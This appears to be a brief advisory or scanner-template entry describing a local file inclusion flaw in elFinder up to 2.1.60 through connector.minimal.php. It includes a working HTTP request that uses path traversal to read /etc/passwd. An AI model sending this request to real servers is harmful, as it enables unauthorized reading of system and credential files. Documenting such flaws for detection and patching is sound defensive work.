elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1